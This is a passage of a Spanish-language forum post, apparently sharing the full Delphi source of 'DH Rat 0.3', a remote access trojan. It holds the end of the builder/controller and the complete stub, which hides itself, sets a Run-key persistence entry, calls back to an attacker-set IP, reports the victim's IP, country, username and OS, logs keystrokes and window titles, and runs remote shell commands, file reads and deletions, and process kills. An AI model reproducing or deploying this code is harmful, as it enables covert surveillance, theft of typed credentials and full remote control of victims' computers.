  420.  stubgenerado: string;
  421.  change: DWORD;
  422.  valor: string;
  423.  
  424. begin
  425.  
  426.  stubgenerado := 'server_ready.exe';
  427.  lineafinal := '[ip]' + sEdit1.text + '[ip]';
  428.  
  429.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  430.  
  431.  aca := INVALID_HANDLE_VALUE;
  432.  nose := 0;
  433.  
  434.  DeleteFile(stubgenerado);
  435.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  436.        + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
  437.        + '/' + stubgenerado), True);
  438.  
  439.  linea := marca_uno;
  440.  StrCopy(code, PChar(linea));
  441.  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  442.    OPEN_EXISTING, 0, 0);
  443.  if (aca <> INVALID_HANDLE_VALUE) then
  444.  begin
  445.    SetFilePointer(aca, 0, nil, FILE_END);
  446.    WriteFile(aca, code, 9999, nose, nil);
  447.    CloseHandle(aca);
  448.  end;
  449.  
  450.  //
  451.  
  452.  if not(sEdit2.text = '') then
  453.  begin
  454.    try
  455.      begin
  456.  
  457.        valor := IntToStr(128);
  458.  
  459.        change := BeginUpdateResourceW
  460.          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  461.                + '/' + stubgenerado)), False);
  462.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  463.          PWideChar(wideString(sEdit2.text)));
  464.        EndUpdateResourceW(change, False);
  465.        sStatusBar1.Panels[0].text := '[+] Done ';
  466.        sStatusBar1.Update;
  467.      end;
  468.    except
  469.      begin
  470.        sStatusBar1.Panels[0].text := '[-] Error';
  471.        sStatusBar1.Update;
  472.      end;
  473.    end;
  474.  end
  475.  else
  476.  begin
  477.    sStatusBar1.Panels[0].text := '[+] Done ';
  478.    sStatusBar1.Update;
  479.  end;
  480.  
  481.  //
  482.  
  483. end;
  484.  
  485. procedure TForm1.sButton2Click(Sender: TObject);
  486. begin
  487.  
  488.  OpenDialog1.InitialDir := GetCurrentDir;
  489.  OpenDialog1.Filter := 'ICO|*.ico|';
  490.  
  491.  if OpenDialog1.Execute then
  492.  begin
  493.    Image3.Picture.LoadFromFile(OpenDialog1.filename);
  494.    sEdit2.text := OpenDialog1.filename;
  495.  end;
  496.  
  497. end;
  498.  
  499. procedure TForm1.sEdit1DblClick(Sender: TObject);
  500. var
  501.  code, ip: string;
  502. begin
  503.  
  504.  code := toma('http://whatismyipaddress.com/');
  505.  
  506.  ip := regex(code, 'alt="Click for more about ', '"></a>');
  507.  
  508.  sEdit1.text := ip;
  509.  
  510. end;
  511.  
  512. procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  513.  Socket: TCustomWinSocket);
  514. begin
  515.  
  516.  with sListView1.Items.Add do
  517.  begin
  518.    Caption := Socket.RemoteHost;
  519.    SubItems.Add('?');
  520.    SubItems.Add('?');
  521.    SubItems.Add('?');
  522.    SubItems.Add('?');
  523.  
  524.  end;
  525.  
  526. end;
  527.  
  528. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  529.  Socket: TCustomWinSocket);
  530. var
  531.  code: string;
  532.  host: string;
  533.  ip: string;
  534.  pais: string;
  535.  username: string;
  536.  os: string;
  537.  
  538. begin
  539.  
  540.  code := Socket.ReceiveText;
  541.  
  542.  if (Pos('[datos_nuevos][ip]', code) > 0) then
  543.  begin
  544.  
  545.    ip := regex(code, '[ip]', '[ip]');
  546.    pais := regex(code, '[pais]', '[pais]');
  547.    username := regex(code, '[username]', '[username]');
  548.    os := regex(code, '[os]', '[os]');
  549.  
  550.    sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
  551.    sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
  552.    sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
  553.    sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;
  554.  
  555.    sMemo1.Lines.Add('[+] Update Target : OK');
  556.  
  557.  end
  558.  
  559.  else if (Pos('![keyloggerlogs]', code) > 0) then
  560.  begin
  561.    if (FileExists('logs_keylogger.html')) then
  562.    begin
  563.      DeleteFile('logs_keylogger.html');
  564.    end;
  565.  
  566.    savefile('logs_keylogger.html', code);
  567.  
  568.    sMemo1.Lines.Add('[+] Keylogger : OK');
  569.  
  570.    ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
  571.          + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
  572.  end
  573.  else
  574.  begin
  575.    sMemo1.Lines.Add(code);
  576.  end;
  577.  
  578. end;
  579.  
  580. end.
  581.  
  582. // The End ?
  583.  

El stub.

Código
  1. // DH Rat 0.3
  2. // (C) Doddy Hackman 2013
  3.  
  4. // Stub
  5.  
  6. unit stub;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
  13.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
  14.  IdIPMCastServer, ScktComp, sButton, ExtCtrls;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    IdHTTP1: TIdHTTP;
  19.    ClientSocket1: TClientSocket;
  20.    Timer1: TTimer;
  21.    Timer2: TTimer;
  22.    function datanow(): string;
  23.    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  24.    procedure sButton1Click(Sender: TObject);
  25.    procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
  26.    procedure FormCreate(Sender: TObject);
  27.    procedure Timer1Timer(Sender: TObject);
  28.    procedure Timer2Timer(Sender: TObject);
  29.  
  30.  private
  31.    Nombre2: string;
  32.    { Private declarations }
  33.  
  34.  public
  35.    { Public declarations }
  36.  
  37.  end;
  38.  
  39. var
  40.  Form1: TForm1;
  41.  acatoy: string;
  42.  
  43. implementation
  44.  
  45. {$R *.dfm}
  46. {$POINTERMATH ON}
  47. // Functions
  48.  
  49. function dhencode(texto, opcion: string): string;
  50. // Thanks to Taqyon
  51. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  52. var
  53.  num: integer;
  54.  aca: string;
  55.  cantidad: integer;
  56.  
  57. begin
  58.  
  59.  num := 0;
  60.  Result := '';
  61.  aca := '';
  62.  cantidad := 0;
  63.  
  64.  if (opcion = 'encode') then
  65.  begin
  66.    cantidad := Length(texto);
  67.    for num := 1 to cantidad do
  68.    begin
  69.      aca := IntToHex(ord(texto[num]), 2);
  70.      Result := Result + aca;
  71.    end;
  72.  end;
  73.  
  74.  if (opcion = 'decode') then
  75.  begin
  76.    cantidad := Length(texto);
  77.    for num := 1 to cantidad div 2 do
  78.    begin
  79.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  80.      Result := Result + aca;
  81.    end;
  82.  end;
  83.  
  84. end;
  85.  
  86. procedure savefile(filename, texto: string);
  87. var
  88.  ar: TextFile;
  89.  
  90. begin
  91.  
  92.  try
  93.  
  94.    begin
  95.      AssignFile(ar, filename);
  96.      FileMode := fmOpenWrite;
  97.  
  98.      if FileExists(filename) then
  99.        Append(ar)
  100.      else
  101.        Rewrite(ar);
  102.  
  103.      Write(ar, texto);
  104.      CloseFile(ar);
  105.    end;
  106.  except
  107.    //
  108.  end;
  109.  
  110. end;
  111.  
  112. function regex(text: String; deaca: String; hastaaca: String): String;
  113. begin
  114.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  115.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  116.  Result := text;
  117. end;
  118.  
  119. function listardirectorio(dir: string): string;
  120. var
  121.  
  122.  busqueda: TSearchRec;
  123.  code: string;
  124.  
  125. begin
  126.  
  127.  code := '';
  128.  
  129.  FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);
  130.  
  131.  code := code + '[+] : ' + busqueda.Name + sLineBreak;
  132.  
  133.  while FindNext(busqueda) = 0 do
  134.  begin
  135.    code := code + '[+] : ' + busqueda.Name + sLineBreak;
  136.  end;
  137.  
  138.  Result := code;
  139.  FindClose(busqueda);
  140.  
  141. end;
  142.  
  143. function borraresto(archivo: string): string;
  144. var
  145.  code: string;
  146. begin
  147.  
  148.  code := '';
  149.  
  150.  if DirectoryExists(archivo) then
  151.  begin
  152.    if (RemoveDir(archivo)) then
  153.    begin
  154.      code := '[+] Directory removed';
  155.    end
  156.    else
  157.    begin
  158.      code := '[+] Error';
  159.    end;
  160.  end;
  161.  if FileExists(archivo) then
  162.  begin
  163.    if (DeleteFile(archivo)) then
  164.    begin
  165.      code := '[+] File removed';
  166.    end
  167.    else
  168.    begin
  169.      code := '[+] Error';
  170.    end;
  171.  end;
  172.  
  173.  Result := code;
  174.  
  175. end;
  176.  
  177. function LeerArchivo(const archivo: TFileName): String;
  178. var
  179.  lista: TStringList;
  180. begin
  181.  
  182.  if (FileExists(archivo)) then
  183.  begin
  184.  
  185.    lista := TStringList.Create;
  186.    lista.Loadfromfile(archivo);
  187.    Result := lista.text;
  188.    lista.Free;
  189.  
  190.  end;
  191.  
  192. end;
  193.  
  194. function lectora(opcion: string): string;
  195. var
  196.  code: string;
  197. begin
  198.  
  199.  code := '';
  200.  
  201.  if (opcion = 'open') then
  202.  begin
  203.    mciSendString('Set cdaudio door open wait', nil, 0, 0);
  204.    code := '[+] Open CD : OK';
  205.  end
  206.  else
  207.  begin
  208.    mciSendString('Set cdaudio door closed wait', nil, 0, 0);
  209.    code := '[+] Close CD : OK';
  210.  end;
  211.  
  212.  Result := code;
  213.  
  214. end;
  215.  
  216. function cambiar_barra(opcion: string): string;
  217. var
  218.  code: string;
  219. begin
  220.  code := '';
  221.  
  222.  if (opcion = 'hide') then
  223.  begin
  224.    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
  225.    code := '[+] Hidden Taskbar : OK';
  226.  end
  227.  else
  228.  begin
  229.    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
  230.    code := '[+] Show Taskbar : OK';
  231.  end;
  232.  
  233.  Result := code;
  234.  
  235. end;
  236.  
  237. function cambiar_iconos(opcion: string): string;
  238. var
  239.  code: string;
  240.  acatoy: THandle;
  241. begin
  242.  code := '';
  243.  acatoy := FindWindow('ProgMan', nil);
  244.  acatoy := GetWindow(acatoy, GW_CHILD);
  245.  if (opcion = 'hide') then
  246.  begin
  247.    ShowWindow(acatoy, SW_HIDE);
  248.    code := '[+] Hidden Icons : OK';
  249.  end
  250.  else
  251.  begin
  252.    ShowWindow(acatoy, SW_SHOW);
  253.    code := '[+] Show Icons : OK';
  254.  end;
  255.  Result := code;
  256. end;
  257.  
  258. function mensaje(texto: string): string;
  259. var
  260.  code: string;
  261. begin
  262.  code := '';
  263.  ShowMessage(texto);
  264.  code := '[+] Message Sent';
  265.  Result := code;
  266. end;
  267.  
  268. function hablar(text: string): string;
  269. var
  270.  Voice: Variant;
  271.  code: string;
  272. begin
  273.  code := '';
  274.  Voice := CreateOLEObject('SAPI.SpVoice');
  275.  Voice.speak(text);
  276.  code := '[+] Voice Speak : OK';
  277.  Result := code;
  278. end;
  279.  
  280. function SendKeys(texto: string): string;
  281. // Thanks to Remy Lebeau for the help
  282. var
  283.  eventos: PInput;
  284.  controlb, controla: integer;
  285.  code: string;
  286. begin
  287.  
  288.  code := '';
  289.  code := '[+] SendKeys : OK';
  290.  
  291.  GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));
  292.  
  293.  controla := 0;
  294.  
  295.  for controlb := 1 to Length(texto) do
  296.  begin
  297.  
  298.    eventos[controla].Itype := INPUT_KEYBOARD;
  299.    eventos[controla].ki.wVk := 0;
  300.    eventos[controla].ki.wScan := ord(texto[controlb]);
  301.    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
  302.    eventos[controla].ki.time := 0;
  303.    eventos[controla].ki.dwExtraInfo := 0;
  304.  
  305.    Inc(controla);
  306.  
  307.    eventos[controla].Itype := INPUT_KEYBOARD;
  308.    eventos[controla].ki.wVk := 0;
  309.    eventos[controla].ki.wScan := ord(texto[controlb]);
  310.    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
  311.    eventos[controla].ki.time := 0;
  312.    eventos[controla].ki.dwExtraInfo := 0;
  313.  
  314.    Inc(controla);
  315.  
  316.  end;
  317.  
  318.  SendInput(controla, eventos[0], SizeOf(TInput));
  319.  
  320.  Result := code;
  321.  
  322. end;
  323.  
  324. function escribir_word(texto: string): string;
  325. var
  326.  code: string;
  327. begin
  328.  code := '';
  329.  code := '[+] Word Joke : OK';
  330.  ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
  331.  Sleep(5000);
  332.  SendKeys(texto);
  333.  Result := code;
  334.  
  335. end;
  336.  
  337. function listarprocesos(): string;
  338. var
  339.  conector: THandle;
  340.  timbre: LongBool;
  341.  indicio: TProcessEntry32;
  342.  code: string;
  343.  
  344. begin
  345.  
  346.  code := '';
  347.  
  348.  conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  349.  indicio.dwSize := SizeOf(indicio);
  350.  
  351.  timbre := Process32First(conector, indicio);
  352.  
  353.  while timbre do
  354.  
  355.  begin
  356.  
  357.    code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
  358.      (indicio.th32ProcessID) + sLineBreak;
  359.  
  360.    timbre := Process32Next(conector, indicio);
  361.  
  362.  end;
  363.  
  364.  Result := code;
  365.  
  366. end;
  367.  
  368. function matarproceso(pid: string): string;
  369. var
  370.  vano: THandle;
  371.  code: string;
  372.  
  373. begin
  374.  
  375.  code := '';
  376.  vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));
  377.  
  378.  if TerminateProcess(vano, 0) then
  379.  begin
  380.    code := '[+] Kill Process : OK';
  381.  end
  382.  else
  383.  begin
  384.    code := '[+] Kill Process : ERROR';
  385.  end;
  386.  
  387.  Result := code;
  388.  
  389. end;
  390.  
  391. function ejecutar(cmd: string): string;
  392. // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
  393. // Thanks to www.delphidabbler.com
  394.  
  395. var
  396.  parte1: TSecurityAttributes;
  397.  parte2: TStartupInfo;
  398.  parte3: TProcessInformation;
  399.  parte4: THandle;
  400.  parte5: THandle;
  401.  control2: Boolean;
  402.  contez: array [0 .. 255] of AnsiChar;
  403.  notengoidea: Cardinal;
  404.  fix: Boolean;
  405.  code: string;
  406.  
  407. begin
  408.  
  409.  code := '';
  410.  
  411.  with parte1 do
  412.  begin
  413.    nLength := SizeOf(parte1);
  414.    bInheritHandle := True;
  415.    lpSecurityDescriptor := nil;
  416.  end;
  417.  
  418.  CreatePipe(parte4, parte5, @parte1, 0);
  419.  
  420.  with parte2 do
  421.  begin
  422.    FillChar(parte2, SizeOf(parte2), 0);
  423.    cb := SizeOf(parte2);
  424.    dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  425.    wShowWindow := SW_HIDE;
  426.    hStdInput := GetStdHandle(STD_INPUT_HANDLE);
  427.    hStdOutput := parte5;
  428.    hStdError := parte5;
  429.  end;
  430.  
  431.  fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
  432.    PChar('c:/'), parte2, parte3);
  433.  
  434.  CloseHandle(parte5);
  435.  
  436.  if fix then
  437.  
  438.    repeat
  439.  
  440.    begin
  441.      control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
  442.    end;
  443.  
  444.    if notengoidea > 0 then
  445.    begin
  446.      contez[notengoidea] := #0;
  447.      code := code + contez;
  448.    end;
  449.  
  450.    until not(control2) or (notengoidea = 0);
  451.  
  452.    Result := code;
  453.  
  454. end;
  455.  
  456. function crazy_mouse(number: string): string;
  457. var
  458.  i: integer;
  459.  code: string;
  460. begin
  461.  code := '';
  462.  For i := 1 to StrToInt(number) do
  463.  begin
  464.    Sleep(1000);
  465.    SetCursorPos(i, i);
  466.  end;
  467.  code := '[+] Crazy Mouse : OK';
  468.  Result := code;
  469. end;
  470.  
  471. function TForm1.datanow(): string;
  472. var
  473.  code: string;
  474.  ip: string;
  475.  pais: string;
  476.  re: string;
  477.  username: string;
  478.  os: string;
  479.  
  480. begin
  481.  
  482.  try
  483.    begin
  484.      code := IdHTTP1.Get('http://whatismyipaddress.com/');
  485.  
  486.      ip := regex(code, 'alt="Click for more about ', '"></a>');
  487.      pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');
  488.  
  489.      if (ip = '') then
  490.      begin
  491.        ip := '?';
  492.      end;
  493.  
  494.      if (pais = '') then
  495.      begin
  496.        pais := '?';
  497.      end;
  498.  
  499.      username := GetEnvironmentVariable('username');
  500.      os := GetEnvironmentVariable('os');
  501.  
  502.      re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
  503.        '[username]' + username + '[username]' + '[os]' + os + '[os]';
  504.    end;
  505.  except
  506.    //
  507.  end;
  508.  
  509.  Result := re;
  510.  
  511. end;
  512.  
  513. //
  514.  
  515. procedure TForm1.ClientSocket1Connect(Sender: TObject;
  516.  Socket: TCustomWinSocket);
  517. begin
  518.  ClientSocket1.Socket.SendText(datanow());
  519. end;
  520.  
  521. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  522. var
  523.  code: string;
  524.  argumento: string;
  525. begin
  526.  code := Socket.ReceiveText;
  527.  
  528.  argumento := regex(code, '[argumento]', '[argumento]');
  529.  
  530.  if (Pos('![opencd]', code) > 0) then
  531.  begin
  532.    ClientSocket1.Socket.SendText(lectora('open'));
  533.  end;
  534.  
  535.  if (Pos('![closecd]', code) > 0) then
  536.  begin
  537.    ClientSocket1.Socket.SendText(lectora('close'));
  538.  end;
  539.  
  540.  if (Pos('![listardirectorio]', code) > 0) then
  541.  begin
  542.    ClientSocket1.Socket.SendText(listardirectorio(argumento));
  543.  end;
  544.  
  545.  if (Pos('![borraresto]', code) > 0) then
  546.  begin
  547.    ClientSocket1.Socket.SendText(borraresto(argumento));
  548.  end;
  549.  
  550.  if (Pos('![leerarchivo]', code) > 0) then
  551.  begin
  552.    ClientSocket1.Socket.SendText(LeerArchivo(argumento));
  553.  end;
  554.  
  555.  if (Pos('![keyloggerlogs]', code) > 0) then
  556.  begin
  557.    ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
  558.  end;
  559.  
  560.  if (Pos('![sendkeys]', code) > 0) then
  561.  begin
  562.    ClientSocket1.Socket.SendText(SendKeys(argumento));
  563.  end;
  564.  
  565.  if (Pos('![escribirword]', code) > 0) then
  566.  begin
  567.    ClientSocket1.Socket.SendText(escribir_word(argumento));
  568.  end;
  569.  
  570.  if (Pos('![mensaje]', code) > 0) then
  571.  begin
  572.    ClientSocket1.Socket.SendText(mensaje(argumento));
  573.  end;
  574.  
  575.  if (Pos('![hablar]', code) > 0) then
  576.  begin
  577.    ClientSocket1.Socket.SendText(hablar(argumento));
  578.  end;
  579.  
  580.  if (Pos('![matarproceso]', code) > 0) then
  581.  begin
  582.    ClientSocket1.Socket.SendText(matarproceso(argumento));
  583.  end;
  584.  
  585.  if (Pos('![ejecutar]', code) > 0) then
  586.  begin
  587.    ClientSocket1.Socket.SendText(ejecutar(argumento));
  588.  end;
  589.  
  590.  if (Pos('![crazymouse]', code) > 0) then
  591.  begin
  592.    ClientSocket1.Socket.SendText(crazy_mouse(argumento));
  593.  end;
  594.  
  595.  if (Pos('![ocultartaskbar]', code) > 0) then
  596.  begin
  597.    ClientSocket1.Socket.SendText(cambiar_barra('hide'));
  598.  end;
  599.  
  600.  if (Pos('![volvertaskbar]', code) > 0) then
  601.  begin
  602.    ClientSocket1.Socket.SendText(cambiar_barra('na'));
  603.  end;
  604.  
  605.  if (Pos('![ocultariconos]', code) > 0) then
  606.  begin
  607.    ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
  608.  end;
  609.  
  610.  if (Pos('![volvericonos]', code) > 0) then
  611.  begin
  612.    ClientSocket1.Socket.SendText(cambiar_iconos('na'));
  613.  end;
  614.  
  615.  if (Pos('![listarprocesos]', code) > 0) then
  616.  begin
  617.    ClientSocket1.Socket.SendText(listarprocesos());
  618.  end;
  619.  
  620. end;
  621.  
  622. procedure TForm1.FormCreate(Sender: TObject);
  623. var
  624.  dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
  625.  registro: HKEY;
  626.  ip: string;
  627.  
  628.  ob: THandle;
  629.  code: Array [0 .. 9999 + 1] of Char;
  630.  nose: DWORD;
  631.  todo: string;
  632.  
  633. begin
  634.  
  635.  Application.ShowMainForm := FALSE;
  636.  
  637.  ob := INVALID_HANDLE_VALUE;
  638.  code := '';
  639.  
  640.  ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  641.    OPEN_EXISTING, 0, 0);
  642.  if (ob <> INVALID_HANDLE_VALUE) then
  643.  begin
  644.    SetFilePointer(ob, -9999, nil, FILE_END);
  645.    ReadFile(ob, code, 9999, nose, nil);
  646.    CloseHandle(ob);
  647.  end;
  648.  
  649.  todo := regex(code, '[63686175]', '[63686175]');
  650.  todo := dhencode(todo, 'decode');
  651.  
  652.  ip := regex(todo, '[ip]', '[ip]');
  653.  
  654.  try
  655.    begin
  656.      dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
  657.      carpeta := 'ratata';
  658.  
  659.      dir := dir_hide + carpeta + '/';
  660.  
  661.      if not(DirectoryExists(dir)) then
  662.      begin
  663.        CreateDir(dir);
  664.      end;
  665.  
  666.      ChDir(dir);
  667.  
  668.      nombrereal := ExtractFileName(paramstr(0));
  669.      rutareal := dir;
  670.      yalisto := dir + nombrereal;
  671.  
  672.      acatoy := dir + 'logs.html';
  673.  
  674.      MoveFile(PChar(paramstr(0)), PChar(yalisto));
  675.  
  676.      SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);
  677.  
  678.      SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  679.  
  680.      RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  681.        'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  682.        REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  683.      RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
  684.      RegCloseKey(registro);
  685.  
  686.      savefile('logs.html',
  687.        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  688.  
  689.      ClientSocket1.Address := ip;
  690.      ClientSocket1.Port := 6664;
  691.      ClientSocket1.Open;
  692.  
  693.    end;
  694.  except
  695.    //
  696.  end;
  697.  
  698. end;
  699.  
  700. procedure TForm1.sButton1Click(Sender: TObject);
  701. begin
  702.  ClientSocket1.Socket.SendText(datanow());
  703. end;
  704.  
  705. procedure TForm1.Timer1Timer(Sender: TObject);
  706. var
  707.  i: integer;
  708.  Result: Longint;
  709.  mayus: integer;
  710.  shift: integer;
  711.  
  712. const
  713.  
  714.  n_numeros_izquierda: array [1 .. 10] of string =
  715.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  716.  
  717. const
  718.  t_numeros_izquierda: array [1 .. 10] of string =
  719.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  720.  
  721. const
  722.  n_numeros_derecha: array [1 .. 10] of string =
  723.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  724.  
  725. const
  726.  t_numeros_derecha: array [1 .. 10] of string =
  727.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  728.  
  729. const
  730.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  731.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  732.    '291', '220', '221', '222', '226');
  733.  
  734. const
  735.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  736.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  737.    '|');
  738.  
  739. const
  740.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  741.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  742.    '226');
  743.  
  744. const
  745.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  746.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  747.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  748.  
  749. begin
  750.  
  751.  // Others
  752.  
  753.  for i := Low(n_raros) to High(n_raros) do
  754.  begin
  755.    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
  756.    If Result = -32767 then
  757.    begin
  758.      savefile('logs.html', t_raros[i]);
  759.    end;
  760.  end;
  761.  
  762.  // Numbers
  763.  
  764.  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  765.  begin
  766.    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
  767.    If Result = -32767 then
  768.    begin
  769.      savefile('logs.html', t_numeros_derecha[i]);
  770.    end;
  771.  end;
  772.  
  773.  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  774.  begin
  775.    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
  776.    If Result = -32767 then
  777.    begin
  778.      savefile('logs.html', t_numeros_izquierda[i]);
  779.    end;
  780.  end;
  781.  
  782.  // SHIFT
  783.  
  784.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  785.  begin
  786.  
  787.    for i := Low(n_shift) to High(n_shift) do
  788.    begin
  789.      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
  790.      If Result = -32767 then
  791.      begin
  792.        savefile('logs.html', t_shift[i]);
  793.      end;
  794.    end;
  795.  
  796.    for i := 65 to 90 do
  797.    begin
  798.      Result := GetAsyncKeyState(i);
  799.      If Result = -32767 then
  800.      Begin
  801.        savefile('logs.html', Chr(i + 0));
  802.      End;
  803.    end;
  804.  
  805.  end;
  806.  
  807.  // MAYUS
  808.  
  809.  if (GetKeyState(20) = 0) then
  810.  begin
  811.    mayus := 32;
  812.  end
  813.  else
  814.  begin
  815.    mayus := 0;
  816.  end;
  817.  
  818.  for i := 65 to 90 do
  819.  begin
  820.    Result := GetAsyncKeyState(i);
  821.    If Result = -32767 then
  822.    Begin
  823.      savefile('logs.html', Chr(i + mayus));
  824.    End;
  825.  end;
  826.  
  827. end;
  828.  
  829. procedure TForm1.Timer2Timer(Sender: TObject);
  830. var
  831.  ventana1: array [0 .. 255] of Char;
  832.  nombre1: string;
  833.  
  834. begin
  835.  
  836.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  837.  
  838.  nombre1 := ventana1;
  839.  
  840.  if not(nombre1 = Nombre2) then
  841.  begin
  842.    Nombre2 := nombre1;
  843.    savefile('logs.html',
  844.      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  845.  end;
  846.  
  847. end;
  848.  
  849. //
  850.  
  851. end.
  852.  
  853. // The End ?
  854.  

Si lo quieren bajar lo pueden hacer de aca.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines